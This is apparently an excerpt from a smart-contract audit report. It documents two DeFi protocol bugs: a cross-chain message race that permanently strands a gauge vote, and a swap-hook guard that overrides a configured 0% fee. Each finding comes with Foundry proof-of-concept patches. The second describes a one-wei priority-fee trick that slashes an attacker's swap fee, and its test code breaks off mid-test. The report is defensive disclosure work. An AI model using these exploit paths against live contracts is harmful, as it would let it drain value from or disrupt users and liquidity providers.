4. `_handleAllocateChain(N+2)` raises the leaf budget to `B + D1 + D2` and parks `D2` on `ZERO_GAUGE` (`LeafVoter.sol:380-399`). It does not advance `lastTokenIdVoteNonce`, so the in-flight gauge vote remains eligible.
5. `AllocateGauge(N+1)` is delivered. It passes the newest-wins gate, sets `lastTokenIdVoteNonce = N+1`, then `_requireExactBudget(B + D1 + D2, [] = B + D1)` reverts `ChainAllocationMismatch`. The whole route rolls back — nonce, high-water marks, and Hyperlane's `deliveries[_id]` — so the message is not marked delivered.
6. Every subsequent redelivery reverts identically, because the budget can only move further away. After expiry it reverts `AllocationExpired` (`LeafVoter.sol:415`) instead. Either way the vote is dead.
7. Final state: the token's previous gauge distribution is still in force, `D1` — which the vote explicitly placed on a real gauge — sits on `ZERO_GAUGE` at a hard-coded zero cap (`:1338`) with its whole emission share flushed to `surplusAccrued (:1263)`, any `DEALLOC_GAUGE` return in the stranded message is never dispatched (`:1344`), and the owner has no on-chain signal that any of this happened.

4. Likelihood (medium)

The preconditions are two ordinary operations in sequence — a gauge vote, then a budget top-up for the same chain before the vote lands — with no privileged role, no user error, and no attacker-created state. Both are first-class supported flows: `allocateChains` and `allocateGauges` exist precisely so budget assignment and gauge distribution can be done separately, and idle budget parking on `ZERO_GAUGE` is documented behaviour.

Two factors raise it above a bare relayer race. The window is bounded by `maxAllocationAge`, not by delivery latency, and is widened further by `CooldownActive` bounces since the cooldown gate runs before the budget gate. And no adversary is needed at all, since the transport makes no ordering promise — a hostile relayer only makes it deterministic.

Two factors hold it below high. An attacker cannot create the precondition: `AllocateChain` is dispatched from exactly two owner-gated sites (`Voter.sol:248, :312`), so exposure is entirely a function of victim behaviour

and cannot be targeted. And the permanent case additionally requires that no later gauge vote follows — a subsequent vote carries a higher nonce, applies, and thereafter causes the stranded message to be gracefully skipped rather than reverting. This makes repeated-cadence allocators such as Relay keepers self-healing (`AllocationLib.allocate` only ever calls the composed `Voter.allocate`, never standalone `allocateChains`), and confines the permanent strand to a token whose stranded vote was its last.

5. Impact (medium)

A silent, total loss of one gauge allocation: the position's weight stays on its previous gauges while the vote's newly-allocated portion sits on `ZERO_GAUGE` earning nothing, its whole emission share flushed to `surplusAccrued` and minted by `GOVERNANCE_ROLE` via `spendSurplus` (`Voter.sol:691-712`) — a transfer from the intended gauge's LPs to the treasury for the strand's duration — with the dispatch fee consumed, recovery costing a fresh dispatch, and any `DEALLOC_GAUGE` sentinel never returning. It stops short of high because nothing is unrecoverable: principal and reserves are untouched, accounting is conserved, no unbacked AERO is minted, and a single re-vote at the corrected total restores full function in every chain status but `Suspended`. The aggravating factor is silence — the leaf transaction reverts so it emits nothing, root already emitted `GaugesAllocated` on a dispatch that succeeded, and no surface on either chain reports that a dispatched vote is undeliverable, so the loss runs until off-chain monitoring or the next manual vote catches it.

6. Mitigation

Preferred: skip rather than revert on budget divergence. The message is valid, just describing a budget that moved on. Treat a mismatch the way the newest-wins gate already treats superseded messages — consume the nonce, return without distributing. This matches the specs' own key property ("Never-revert execution... a graceful skip, not a revert") and closes the retry loop that turns transient divergence into permanence. Emit an event on that path, so a dropped vote is visible rather than silent.

Alternative: make the check directional. What `_requireExactBudget` actually protects is that the leaf never books more weight than root committed, i.e. the `leaf > budget` direction. `leaf < budget` is not a safety violation — the shortfall is exactly the idle remainder `ZERO_GAUGE` exists to hold. Accepting `leaf <= budget` and parking the difference conflicts with the deliberate "no automatic backfill" rule (`:1593-1594`), so prefer the skip if that rule stands.

Stopgap only: have `_handleAllocateChain` advance `lastTokenIdVoteNonce`. Smallest diff, but strictly worse — it also discards votes that would have applied fine in the currently-safe converging direction.

Scope note. Distinct root cause from `run1-04M` (cooldown outlasting expiry), though both kill an in-flight gauge vote in the same function: `04M` is a timing conflict needing `allocationCooldown > maxAllocationAge`, this is a state-divergence conflict that fires at any cooldown value including zero. Neither fix resolves the other; the graceful skip addresses both.

7. Proof of Concept

Drives a real `LeafMessageOrchestrator` wired to a real `LeafVoter` — the team's own composed integration harness, extended with one test. It delivers the later `AllocateChain` ahead of the in-flight `AllocateGauge`, then proves permanence by redelivering the stranded vote at five-minute intervals across the message's entire root-stamped lifetime, asserting `ChainAllocationMismatch` on all 13 attempts and `AllocationExpired` past the deadline. It then asserts the damage numerically — the voted gauge holds zero weight and zero bias/slope, the whole budget sits on `ZERO_GAUGE`, `surplusAccrued` strictly increases — and finally that only a fresh dispatch at the corrected total recovers.

The only test double is the adapter identity (`vm.prank(_ADAPTER)` to satisfy `route`'s caller check), which is exactly how the team's own two ordering tests in this file drive inbound messages; the orchestrator's routing and nonce logic, the voter, and all budget and settlement accounting are the production implementations. `Mailbox.process`'s lack of access control is verified by inspection (`Mailbox.sol:202-246`) rather than re-deployed.

Save the diff below as `strand-poc.patch` in the audit repo root (the paths are `metadex/V3/...`), then:

```
1  git apply strand-poc.patch
2  cd metadex
3  FOUNDRY_PROFILE=test forge test --match-test
   test_POC_ALaterChainAllocationPermanentlyStrandsAnInFlightGaugeVote -vv
```

DIFF

```
1  diff --git a/metadex/V3/test/unit/bridge/LeafMessageOrchestratorComposed.t.sol b/metadex/V3/
   test/unit/bridge/LeafMessageOrchestratorComposed.t.sol
2  index beccf19..a84fd8a 100644
3  --- a/metadex/V3/test/unit/bridge/LeafMessageOrchestratorComposed.t.sol
4  +++ b/metadex/V3/test/unit/bridge/LeafMessageOrchestratorComposed.t.sol
5  @@ -5,6 +5,7 @@ import {BaseLeafVoter} from 'V3-test/unit/voter/BaseLeafVoter.sol';
6  import {LeafVoterHarness} from 'V3-test/unit/voter/LeafVoterHarness.sol';
7
8  import {IMessageAdapter, IMessageOrchestrator, LeafMessageOrchestrator} from 'V3/bridge/
   LeafMessageOrchestrator.sol';
9  +import {ILeafVoter} from 'V3/interfaces/voter/ILeafVoter.sol';
10 import {IVoterCommon} from 'V3/interfaces/voter/IVoterCommon.sol';
11 import {MAXTIME} from 'V3/libraries/ProtocolConstants.sol';
12
13 @@ -225,4 +226,174 @@ contract UnitLeafMessageOrchestratorComposedRoute is BaseLeafVoter {
14     assertEq(_zero.bias, _expectedBias);
15     assertEq(_zero.slope, _expectedSlope);
```

DIFF

```

16     }
17 +
18 + function test_POCALaterChainAllocationPermanentlyStrandsAnInFlightGaugeVote() external {
19 +     _wireComposed();
20 +
21 +     // Root stamps ONE monotonic nonce stream per chain across every message type
22 +     // ('RootMessageOrchestrator.sol:78'), so a composed 'allocate' takes N/N+1 and a later
    standalone
23 +     // 'allocateChains' to the same chain takes N+2.
24 +     uint256 _chainNonce = 1; // AllocateChain(+B), from 'allocate' phase 1
25 +     uint256 _gaugeNonce = 2; // AllocateGauge(□ = B), from 'allocate' phase 2 – frozen to
    root's booking
26 +     uint256 _laterChainNonce = 3; // AllocateChain(+D), from a LATER 'allocateChains'
27 +     uint256 _pokeNonce = 4;
28 +     uint256 _revoteNonce = 5;
29 +
30 +     uint128 _maxtime = uint128(MAXTIME);
31 +     uint128 _base = 10 * _maxtime; // B – the booking the in-flight gauge list is frozen
    against
32 +     uint128 _delta = 4 * _maxtime; // D – the later chain delta that wins the delivery race
33 +     uint256 _rate = 1e18;
34 +     // The repo's own E2E fixture uses 'maxAllocationAge = 1 hours'
    ('ClaimRewardsFlow.t.sol:27').
35 +     uint48 _maxAllocationAge = 1 hours;
36 +
37 +     uint48 _settledAt = _leafVoter.lastSettlement();
38 +     uint48 _stakeEnd = _nextWeekBoundary(_settledAt) + 52 * _WEEK;
39 +     IVoterCommon.TokenSnapshot memory _shape =
40 +         IVoterCommon.TokenSnapshot({staked: _base + _delta, stakeEnd: _stakeEnd, isPermanent:
    false});
41 +
42 +     _mockRegisterGauge(_GAUGE_A, true);
43 +
44 +     // The victim's in-flight gauge vote: root froze □ to the booking that existed at
    dispatch (B), and

```

DIFF

```
45 + // stamped an absolute expiry of 'now + maxAllocationAge' ('Voter.sol:1798').
46 + uint48 _expiry = uint48(block.timestamp) + _maxAllocationAge;
47 + address[] memory _votedGauges = new address[](1);
48 + _votedGauges[0] = _GAUGE_A;
49 + uint128[] memory _votedAmounts = new uint128[](1);
50 + _votedAmounts[0] = _base;
51 + bytes memory _strandedVote = abi.encodePacked(
52 +     uint8( IMessageOrchestrator.MessageType.AllocateGauge ),
53 +     _gaugeNonce,
54 +     uint48(block.timestamp),
55 +     abi.encode(
56 +         IVoterCommon.AllocateGaugeMessage({
57 +             tokenId: _TOKEN_ID,
58 +             expiry: _expiry,
59 +             emissionsPerVP: _rate,
60 +             tokenSnapshot: _shape,
61 +             allocations: _list(_votedGauges, _votedAmounts)
62 +         })
63 +     )
64 + );
65 +
66 + // 1) The 'allocate' chain leg lands first, as dispatched: budget = B, parked on
    ZERO_GAUGE.
67 + vm.prank(_ADAPTER);
68 + _orchestrator.route(
69 +     _ROOT_CHAIN_ID,
70 +     abi.encodePacked(
71 +         uint8( IMessageOrchestrator.MessageType.AllocateChain ),
72 +         _chainNonce,
73 +         uint48(block.timestamp),
74 +         abi.encode(
75 +             IVoterCommon.AllocateChainMessage({
```

DIFF

```

76 +         tokenId: _TOKEN_ID, allocationDelta: _base, emissionsPerVP: _rate, snapshot:
    +         _shape
77 +     })
78 + )
79 + )
80 + );
81 +     assertEq(_chainAllocationOf(_TOKEN_ID), _base);
82 +
83 +     // 2) THE RACE. 'Mailbox.process' is 'external payable' with no access control
84 +     //     ('Mailbox.sol:202-246'), so any unprivileged party running a relayer can deliver
    +     the LATER
85 +     //     'AllocateChain(N+2)' before the honest relayer delivers 'AllocateGauge(N+1)'. The
    +     delta applies
86 +     //     additively with no ordering gate against gauge messages, and
    +     '_handleAllocateChain' never touches
87 +     //     'lastTokenIdVoteNonce', so the in-flight gauge vote is NOT superseded – only
    +     invalidated.
88 +     vm.prank(_ADAPTER);
89 +     _orchestrator.route(
90 +         _ROOT_CHAIN_ID,
91 +         abi.encodePacked(
92 +             uint8(IMessageOrchestrator.MessageType.AllocateChain),
93 +             _laterChainNonce,
94 +             uint48(block.timestamp),
95 +             abi.encode(
96 +                 IVoterCommon.AllocateChainMessage({
97 +                     tokenId: _TOKEN_ID, allocationDelta: _delta, emissionsPerVP: _rate, snapshot:
    +                     _shape
98 +                 })
99 +             )
100 +         )
101 +     );
102 +     assertEq(_chainAllocationOf(_TOKEN_ID), _base + _delta);
103 +     // The gauge vote was never superseded, so newest-wins will not skip it – it must
    +     execute, and fail.

```

DIFF

```

104 +   assertEq(_orchestrator.lastTokenIdVoteNonce(_TOKEN_ID), 0);
105 +
106 +   // 3) PERMANENCE. `_requireExactBudget` demands [] == budget, the leaf budget is
    additive-only, and the
107 +   //   only two reduction paths both require a message that SUPERSEDES this nonce. Every
    redelivery for
108 +   //   the message's entire root-stamped lifetime reverts, and the revert rolls back
    `noncesUsed` and
109 +   //   Hyperlane's delivery marker, so it is never marked delivered and never stops being
    retried.
110 +   // `_at` is tracked explicitly rather than read from `block.timestamp` inside the loop:
    under via-IR the
111 +   // optimizer hoists the TIMESTAMP opcode out, since it cannot see that the `vm.warp`
    cheatcode moves it.
112 +   uint256 _failedRedeliveries;
113 +   uint256 _at = block.timestamp;
114 +   while (_at <= _expiry) {
115 +       vm.warp(_at);
116 +       vm.prank(_ADAPTER);
117 +       vm.expectRevert(ILeafVoter.ChainAllocationMismatch.selector);
118 +       _orchestrator.route(_ROOT_CHAIN_ID, _strandedVote);
119 +       ++_failedRedeliveries;
120 +       _at += 5 minutes;
121 +   }
122 +   assertGt(_failedRedeliveries, 10);
123 +
124 +   // Past the expiry it is dead for a second, permanent reason.
125 +   uint48 _afterExpiry = _expiry + 1;
126 +   vm.warp(_afterExpiry);
127 +   vm.prank(_ADAPTER);
128 +   vm.expectRevert(ILeafVoter.AllocationExpired.selector);
129 +   _orchestrator.route(_ROOT_CHAIN_ID, _strandedVote);
130 +
131 +   // 4) QUANTIFIED DAMAGE. The victim's entire vote is void: the gauge they allocated to
    holds nothing,

```

DIFF

```

132 + // and the whole budget – including the B the vote explicitly placed on a real gauge
    - sits on

133 + // ZERO_GAUGE, whose emission cap is hard-coded to zero ('LeafVoter.sol:1338').

134 + assertEq(_leafVoter.allocations(_TOKEN_ID, _GAUGE_A), 0);

135 + assertFalse(_inVotedSet(_GAUGE_A));

136 + assertEq(_leafVoter.allocations(_TOKEN_ID, _ZERO_GAUGE), _base + _delta);

137 + assertEq(_chainAllocationOf(_TOKEN_ID), _base + _delta);

138 + assertEq(_gaugeStateOf(_GAUGE_A).point.bias, 0);

139 + assertEq(_gaugeStateOf(_GAUGE_A).point.slope, 0);

140 +

141 + // Emissions accrued on the stranded weight are flushed to the chain surplus, not to any
    gauge's

142 + // ceiling: '_settleGauge' resolves ZERO_GAUGE at a zero cap and sends the whole walked
    share to

143 + // 'surplusAccrued', which 'redeem' reports to root as governance-spendable
    'reportedSurplus'.

144 + // A later ordinary chain allocation settles the park and makes the diverted amount
    observable.

145 + uint256 _surplusBefore = _leafVoter.surplusAccrued();

146 + vm.prank(_ADAPTER);

147 + _orchestrator.route(

148 +     _ROOT_CHAIN_ID,

149 +     abi.encodePacked(

150 +         uint8( IMessageOrchestrator.MessageType.AllocateChain ),

151 +         _pokeNonce,

152 +         uint48(block.timestamp),

153 +         abi.encode(

154 +             IVoterCommon.AllocateChainMessage({

155 +                 tokenId: _TOKEN_ID, allocationDelta: _maxtime, emissionsPerVP: _rate, snapshot:
                    _shape

156 +             })

157 +         )

158 +     )

159 + );

160 + assertGt(_leafVoter.surplusAccrued(), _surplusBefore);

```

DIFF

```
161 +
162 +    // 5) The only exit is a fresh dispatch at the corrected total. The victim pays twice:
    the stranded
163 +    //    vote's transport fee is consumed for nothing, and recovery costs a full new
    dispatch.
164 +    uint128 _correctedTotal = _base + _delta + _maxtime;
165 +    uint128[] memory _correctedAmounts = new uint128[](1);
166 +    _correctedAmounts[0] = _correctedTotal;
167 +    vm.prank(_ADAPTER);
168 +    _orchestrator.route(
169 +        _ROOT_CHAIN_ID,
170 +        abi.encodePacked(
171 +            uint8(IVoterCommon.MessageType.AllocateGauge),
172 +            _revoteNonce,
173 +            uint48(block.timestamp),
174 +            abi.encode(
175 +                IVoterCommon.AllocateGaugeMessage({
176 +                    tokenId: _TOKEN_ID,
177 +                    expiry: _afterExpiry + _maxAllocationAge,
178 +                    emissionsPerVP: _rate,
179 +                    tokenSnapshot: _shape,
180 +                    allocations: _list(_votedGauges, _correctedAmounts)
181 +                })
182 +            )
183 +        )
184 +    );
185 +    assertEq(_leafVoter.allocations(_TOKEN_ID, _GAUGE_A), _correctedTotal);
186 + }
187 }
```

A 0%-configured CL pool charges the static tick-spacing fee on every swap

Location	—
----------	---

Summary

SwapHookLib.beforeSwap treats a hook's return of 0 as "no fee information" and replaces it with tickSpacingToFee, which CLFactory guarantees is never zero. Since ZERO_FEE_INDICATOR is the protocol's documented way to set a pool to 0%, such a pool charges the static floor — 0.30% at tickSpacing 60/200, up to 1.00% at 2000 — on every swap instead of nothing. No configuration can correct it.

Finding Description

The defect is one guard in the hook shim that every CL swap passes through:

SOLIDITY

```

1  // metadex-slipstream/contracts/core/libraries/hook/SwapHookLib.sol:113-120
2  if (_swapHook != address(0)) {
3      try ISwapHook(_swapHook).beforeSwap(_swapParams) returns (uint24 _fee) {
4          if (_fee > 0) return cap(_fee);          // <-- :117 a legitimate 0% is discarded
5      } catch {}
6  }
7  return ICLFactory(_factory).tickSpacingToFee(_tickSpacing);

```

The try/catch on the same call is already the channel for "the hook has no opinion", so using the return value for that purpose as well makes zero — the one fee the protocol elsewhere treats as first-class — unrepresentable. The guard is a lower bound where an upper bound belongs; cap() at SwapHookLib.sol:225-227 would have returned 0 faithfully had it been reached.

The substituted fallback can never be zero. CLFactory.enableTickSpacing:288 requires fee > 0 && fee <= 100_000, :293 makes each tick spacing write-once, and createPool:118 requires tickSpacingToFee[tickSpacing] != 0. The constructor at CLFactory.sol:91-95 seeds 100, 500, 500, 3000 and 10_000 pips for tick spacings 1, 50, 100, 200 and 2000. This is what makes the defect unfixable by governance rather than a misconfiguration.

The hook's zero is deliberate. ZERO_FEE_INDICATOR exists precisely to disambiguate zero, as DynamicSwapFeeHook.sol:43-45 states: the sentinel is needed because a 0 in the customFee mapping already

means "no custom fee set". The same intent is documented at `IDynamicSwapFeeHook.sol:16` for `baseFee` and `:20` for `initialFee`, both reading "ZERO_FEE_INDICATOR means 0%", and `setCustomFee:208-214` explicitly admits the sentinel alongside `MAX_BASE_FEE`.

Four paths in the hook return that deliberate zero, so an affected pool is broken on 100% of its swaps:

`DynamicSwapFeeHook.sol:533` when `baseFee` is the sentinel (first swap in a block), `:510` when the stored `blockFee` is the sentinel (every later swap in the block), and `:549` and `:506` for the `initialFee` variant, which renders the documented "0% for the first swap in a block" promotion inoperable too. Four unit tests pin the zero return as intended — `_getFirstSwapFee.t.sol:28`, `beforeSwap.t.sol:133`, `:144`, and `beforeSwap.t.sol:189-202`, the last against the real hook rather than a mock.

The team handles this same ambiguity correctly everywhere internal. `_getFeeAndStore:480` re-encodes a zero fee as the sentinel specifically so it survives transient storage. It is destroyed only at the single external boundary, `SwapHookLib.beforeSwap:117`.

That this is a defect rather than a design choice is settled by three sibling implementations of the identical "zero fee versus no fee" problem, all correct, one of them in the same file as the broken caller:

- V2's `PoolFactory.getBaseFee:319` guards with `if (_customFee <= 1000)` — an upper bound, which admits zero — and its module signals absence by reverting, at `CustomFeeModule.getFee:38` (`revert NoCustomFee()`). The V2 zero-fee pool works end to end: `CustomFeeModule.getFee:36` returns `0`, the factory accepts it, and `Pool.sol:176` charges nothing.
- CL's own `CLFactory.getUnstakedFee:279` guards with `if (fee <= 1_000_000)` — again an upper bound — and uses `catch {}` for absence, while `CustomUnstakedFeeModule.getFee` returns `0` for its sentinel.
- `SwapHookLib.getFlashFee:91` and `beforeFlash:191` have no value guard at all and honour a zero fee correctly.

Only `beforeSwap:117` and its view twin `getBeforeSwapFee:48` use a lower bound, and those are the swap-fee paths. Two independent `ISwapHook` implementations express 0% as a literal `0` return — the production hook, and the slipstream repo's own reference implementation at `test/mocks/MockCustomSwapFeeHook.sol:69`, which carries the same explanatory comment — so the defect lies in the shim's contract with the interface, not in any one hook.

The behaviour is also unspecified and untested. The team's Bulloak branch trees `beforeSwap.tree` and `beforeFlash.tree` are structurally identical and neither enumerates a zero-return branch, even though the two implementations differ precisely in zero handling; `getBeforeSwapFee.tree` has the same gap. `beforeSwap.t.sol:74` bounds the fuzzed fee to `[1, SWAP_FEE_CEIL]`, excluding zero by construction, so the false arm of the guard has no coverage. The docstrings at `SwapHookLib.sol:32` and `:103` describe the fallback but no test asserts it is the intended outcome for a hook that legitimately answers zero.

Nothing downstream catches or reveals it. The IIA check in `CLPool.swap` bounds the amount paid, never the fee rate. `CLPool.fee()` resolves through `getBeforeSwapFee:48` and so carries the same guard, and the quoters

price by simulating `try pool.swap(...)`, so the view surface, the quotes and execution all agree on the substituted fee — the operator who configured 0% sees 0.30% reported everywhere with no on-chain signal that their setting was discarded.

One further consequence of the same guard makes the overcharge selective.

`DynamicSwapFeeHook.beforeSwap:303-312` returns the pool fee plus the MEV tax, and `PriorityFeeMevTaxModule.getMevTax:96-104` computes that tax with `mulDivUp`, so its smallest non-zero output is 1 pip for any `priorityFeeMultiplier` below `PRECISION = 1e12`. A swapper who pays one wei of priority fee above the module's threshold therefore makes the hook return a non-zero 1, which the shim accepts, and pays 1 pip where a swapper who pays no priority fee returns zero and is charged the 3,000-pip fallback. The module's own comment at :96 says retail flow "is never taxed"; under this defect retail flow is the only flow that pays. Note also that `mevTaxModule` has no constructor initializer (:79) and `TransientMevTaxLib.mevTax:52-59` maps an unset module to `(0, false)`, so with the module unset — its default, and a state `audit.md` A2 and guide B5 explicitly support — the overcharge applies to every swap unconditionally.

Impact (Medium)

Every swapper on a pool the fee manager configured at 0% pays the static floor of 0.30% (up to 1.00% at `tickSpacing 2000`) on every swap for the life of the pool, with the proceeds accruing to LPs and voters — roughly \$300 per \$100,000 swapped, or \$30,000 a month on a \$10M-volume pool. Because `enableTickSpacing` forbids a zero fallback, no configuration change can correct it; the fix requires new code.

Likelihood (Medium)

It requires only that a swap hook is wired — the intended and invariant-tested configuration — and that the fee manager has used the documented, validated and unit-tested `ZERO_FEE_INDICATOR` feature, after which the overcharge is unconditional on every swap while the MEV module is unset, which is its default. The 1-pip bypass additionally needs the MEV module enabled, and is then permissionless, deterministic and repeatable every block for about \$0.50 of priority fee.

Mitigation

In `SwapHookLib.beforeSwap`, delete the `if (_fee > 0)` condition at :117 and return `cap(_fee)` unconditionally inside the `try` block, leaving the `catch` and the trailing `tickSpacingToFee` return as the sole "no information" path. Apply the same change to `getBeforeSwapFee:48` so the view surface and the quoters stay consistent with execution. This matches the three sibling implementations: a hook with no opinion should revert, as `CustomFeeModule.getFee` does, or the pool should have no hook set — both already route to the tick-spacing fallback.

Then add the missing zero branch to `beforeSwap.tree` and `getBeforeSwapFee.tree`, and lower the fuzz floor in `beforeSwap.t.sol:74` from 1 to 0. Worth flagging for the team: `test/invariants/Setup.sol` already wires

a hook at :161 and sets a custom fee at :181, but only ever a non-zero one — setting ZERO_FEE_INDICATOR there would have caught this.

Proof of Concept

Runs both legs as identical 1e18 exact-input swaps from an identical pool state, against the production CLFactory, CLPool and SwapHookLib plus the unmodified metadex DynamicSwapFeeHook and PriorityFeeMevTaxModule deployed by artifact. On a pool whose recorded configuration is ZERO_FEE_INDICATOR it charges the retail swapper 2999999999999999 wei (3,000 pips) and the one-wei tipper 9999999999999999 wei (1 pip) — a ratio of exactly 3000, and a realised retail loss of 2984083376651331 token1 wei.

Save the diff below as zero-fee-poc.patch in the audit repo root (paths are metadex-slipstream/...), then:

```
1  git apply zero-fee-poc.patch
2  cd metadex-slipstream
3  forge test --match-test test_POC_ZeroFeePoolChargesStaticFeeWhileTipperPaysOnePip -vv
```

DIFF

```
1  diff --git a/metadex-slipstream/foundry.toml b/metadex-slipstream/foundry.toml
2  index e1f10ad..599e4fc 100644
3  --- a/metadex-slipstream/foundry.toml
4  +++ b/metadex-slipstream/foundry.toml
5  @@ -16,6 +16,7 @@ libs = ["lib"]
6
7  # We use remappings.txt to avoid collisions while adding node_modules/metadex
8  auto_detect_remappings = false
9  +allow_paths = ["../metadex"]
10
11  optimizer = true
12  optimizer_runs = 200
13  diff --git a/metadex-slipstream/remappings.txt b/metadex-slipstream/remappings.txt
14  index e1d64e0..c7fce37 100644
15  --- a/metadex-slipstream/remappings.txt
16  +++ b/metadex-slipstream/remappings.txt
17  @@ -13,3 +13,6 @@ base64-sol/=node_modules/base64-sol/
18  metadex/=node_modules/metadex/src/
```

DIFF

```

19   node_modules/metadex/:src/=node_modules/metadex/src/
20   node_modules/metadex/:interfaces/=node_modules/metadex/src/interfaces/
21   +V3=../metadex/V3/src/
22   +@solady/=node_modules/solady/src/
23   +../metadex/:@openzeppelin/contracts/=node_modules/@openzeppelin/contracts-v5/
24   diff --git a/metadex-slipstream/test/integration/metadex/_MetadexArtifacts.sol b/metadex-
    slipstream/test/integration/metadex/_MetadexArtifacts.sol
25   index d6987b3..d92cd94 100644
26   --- a/metadex-slipstream/test/integration/metadex/_MetadexArtifacts.sol
27   +++ b/metadex-slipstream/test/integration/metadex/_MetadexArtifacts.sol
28   @@ -3,5 +3,7 @@ pragma solidity 0.8.30;
29
30   // forces metadex 0.8.30 contracts to compile into out/ so that
31   // 0.7.6 integration tests can deploy them by artifact name via deployCode.
32   -import {DiscountRegistry} from 'metadex/fees/DiscountRegistry.sol';
33   -import {CLPoolTape} from 'metadex/pools/tape/CLPoolTape.sol';
34   +import {DiscountRegistry} from 'V3/fees/DiscountRegistry.sol';
35   +import {PriorityFeeMevTaxModule} from 'V3/fees/PriorityFeeMevTaxModule.sol';
36   +import {CLPoolTape} from 'V3/pools/tape/CLPoolTape.sol';
37   +import {DynamicSwapFeeHook} from 'V3/hooks/dynamic/DynamicSwapFeeHook.sol';
38   diff --git a/metadex-slipstream/test/unit/concrete/CLPool/fee/fee.t.sol b/metadex-slipstream/
    test/unit/concrete/CLPool/fee/fee.t.sol
39   index 8f2fd1e..c348018 100644
40   --- a/metadex-slipstream/test/unit/concrete/CLPool/fee/fee.t.sol
41   +++ b/metadex-slipstream/test/unit/concrete/CLPool/fee/fee.t.sol
42   @@ -7,8 +7,23 @@ import {SwapHookLib} from 'contracts/core/libraries/hook/SwapHookLib.sol';
43   import {ICLFactory} from 'contracts/core/interfaces/ICLFactory.sol';
44   import {ISwapHook} from 'contracts/core/interfaces/hook/ISwapHook.sol';
45
46   +import {CLPool} from 'contracts/core/CLPool.sol';
47   +
48   +import {FixedPoint128} from 'contracts/core/libraries/FixedPoint128.sol';
49   +import {FullMath} from 'contracts/core/libraries/FullMath.sol';

```

DIFF

```

50  +import {TickMath} from 'contracts/core/libraries/TickMath.sol';
51  +
52  import {CLPoolTest} from '../CLPool.t.sol';
53
54  +/// @dev Minimal view onto the production metadex DynamicSwapFeeHook (solc 0.8.30), which is
55  +///     deployed by artifact name via `deployCode`. Only an ABI view: the running bytecode
56  +///     is the unmodified production contract.
57  +interface IProdDynamicSwapFeeHook {
58  +  function ZERO_FEE_INDICATOR() external view returns (uint256);
59  +  function customFee(address _pool) external view returns (uint24);
60  +  function setMevTaxModule(address _mevTaxModule) external;
61  +}
62  +
63  contract UnitCLPoolFee is CLPoolTest {
64      address internal _swapHook = makeAddr('swapHook');
65      address internal _caller = makeAddr('caller');
66  @@ -83,4 +98,136 @@ contract UnitCLPoolFee is CLPoolTest {
67      // it returns fee
68      assertEqUint(clPool.fee(), _fee);
69  }
70  +
71  + /// @notice `SwapHookLib.beforeSwap` treats a hook's legitimate `0` ("charge 0%") as "no
72  fee
73  + ///     information" and substitutes `tickSpacingToFee`, which
74  `CLFactory.enableTickSpacing`
75  + ///     guarantees is never zero. A pool the fee manager configures at the documented
76  + ///     `ZERO_FEE_INDICATOR` therefore charges the static 0.30% floor on every swap,
77  and no
78  + ///     configuration can correct it.
79  + ///
80  + ///     Because `DynamicSwapFeeHook.beforeSwap` returns `0 + mevFee`, any swapper who
81  pays one
82  + ///     wei of priority fee above the MEV module's threshold makes the hook return a
83  non-zero

```

DIFF

```

79 + ///      '1' pip, which the shim accepts -- collapsing their fee ~3000x while ordinary
    retail

80 + ///      flow (which the module explicitly exempts from the tax) pays the full 0.30%.

81 + function test_POZ_ZeroFeePoolChargesStaticFeeWhileTipperPaysOnePip() external {

82 +     /*////////////////////////////////////*/

83 +         SETUP -- fee-manager configuration (the precondition,

84 +             not the exploit). No attacker capability is used here.

85 +     //////////////////////////////////////*/

86 +

87 +     CLPool pool = CLPool(

88 +         poolFactory.createPool({

89 +             tokenA: address(token0),

90 +             tokenB: address(token1),

91 +             tickSpacing: TICK_SPACING_60,

92 +             sqrtPriceX96: encodePriceSqrt(1, 1)

93 +         })

94 +     );

95 +

96 +     // Real full-range liquidity from a real LP.

97 +     vm.prank(users.alice);

98 +     nftCallee.mintNewFullRangePositionForUserWith60TickSpacing(TOKEN_1 * 400, TOKEN_1 * 400,

    users.alice);

99 +

100 +     // Production metadex hook (solc 0.8.30), deployed by artifact name. Its constructor

    takes the

101 +     // per-pool base fees, so this pool is born configured at the documented 0% sentinel.

102 +     address[] memory _pools = new address[](1);

103 +     _pools[0] = address(pool);

104 +     uint24[] memory _fees = new uint24[](1);

105 +     _fees[0] = 55_555; // ZERO_FEE_INDICATOR

106 +

107 +     address _hook = deployCode(

108 +         'out/DynamicSwapFeeHook.sol/DynamicSwapFeeHook.json',

109 +         abi.encode(address(poolFactory), uint256(1e6), uint256(20_000), _pools, _fees)

```

DIFF

```

110 + );
111 +
112 + // Production MEV tax module. multiplier 1e9 => a 0.1 gwei excess reaches the 10% cap;
113 + // minThreshold 1 gwei, baseFeeFactor 10.
114 + address _mevModule = deployCode(
115 +     'out/PriorityFeeMevTaxModule.sol/PriorityFeeMevTaxModule.json',
116 +     abi.encode(users.owner, uint64(1e9), uint96(1e9), uint96(10))
117 + );
118 +
119 + vm.startPrank(users.feeManager); // factory's swapFeeManager
120 + poolFactory.setDefaultSwapHook(_hook);
121 + IProdDynamicSwapFeeHook(_hook).setMevTaxModule(_mevModule);
122 + vm.stopPrank();
123 +
124 + // The operator's intent is on record: this pool is configured to charge 0%.
125 + assertEq(
126 +     uint256(IProdDynamicSwapFeeHook(_hook).customFee(address(pool))),
127 +     IProdDynamicSwapFeeHook(_hook).ZERO_FEE_INDICATOR()
128 + );
129 +
130 + // No gauge, so the unstaked-fee carve is inactive and every pip credited by the swap
131 + // feeGrowthGlobal0X128. This makes the fee measurement below exact.
132 + assertEqUint(pool.unstakedFee(), 0);
133 +
134 + uint24 _staticFee = poolFactory.tickSpacingToFee(TICK_SPACING_60); // 3000 pips == 0.30%
135 + uint256 _amountIn = TOKEN_1;
136 + uint128 _liquidity = pool.liquidity();
137 +
138 + vm.fee(1e6); // 0.001 gwei base fee, OP-stack-like
139 + uint256 _snapshot = vm.snapshotState();
140 +
141 + /*//////////////////////////////////////

```

DIFF

```

142 +             LEG A -- ordinary retail swap. Unprivileged, no priority
143 +             fee. This is the victim.
144 +             //////////////////////////////////////*/
145 +
146 +     vm.txGasPrice(1e6); // == base fee, so getMevTax() returns (0, false)
147 +
148 +     // The pool itself reports 0.30% on a pool configured at 0%: the view lies consistently,
    so
149 +     // neither the operator nor any quoter can detect the substitution.
150 +     assertEqUint(pool.fee(), _staticFee);
151 +
152 +     uint256 _out0 = token1.balanceOf(users.charlie);
153 +     vm.prank(users.alice);
154 +     clCallee.swapExact0For1(address(pool), _amountIn, users.charlie, TickMath.MIN_SQRT_RATIO
    + 1);
155 +     uint256 _retailOut = token1.balanceOf(users.charlie) - _out0;
